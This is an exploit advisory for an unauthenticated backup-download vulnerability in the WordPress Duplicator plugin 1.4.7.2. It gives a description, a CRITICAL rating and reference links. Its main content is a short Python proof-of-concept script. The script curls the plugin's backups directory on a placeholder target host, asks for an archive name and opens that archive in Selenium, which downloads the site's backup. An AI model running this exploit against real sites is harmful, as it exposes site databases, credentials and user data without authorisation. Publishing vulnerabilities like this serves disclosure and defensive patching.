WordPress Duplicator 1.4.7.2 Backup Disclosure

## Title: WordPress Plugin Duplicator 1.4.7.2 – Unauthenticated Backup Download
## Author: nu11secur1ty
## Date: 08.23.2022
## Vendor: https://wordpress.org/
## Software: https://wordpress.org/plugins/duplicator/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2

## Description:
The WordPress Plugin Duplicator 1.4.7.2 suffers from Unauthenticated
Backup Download, after an update from the 1.4.7.1 version.
The attacker can download all archive information from the system by
using this vulnerability!
Status: CRITICAL

“`python
#!/usr/bin/python
# Author nu11secur1ty
from selenium import webdriver
import time
import os

print(“Test if you can access the directory\n”)
time.sleep(5)
os.system(‘curl http://pwned-host.com/wordpress/wp-content/backups-dup-lite/’)
target=input(“Give the name of the archive…\n”)
driver = webdriver.Chrome()
driver.get(‘http://pwned-host.com/wordpress/wp-content/backups-dup-lite/’
+ target)

“`

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2)

## Proof and Exploit:
[href](https://streamable.com/x0cvjh)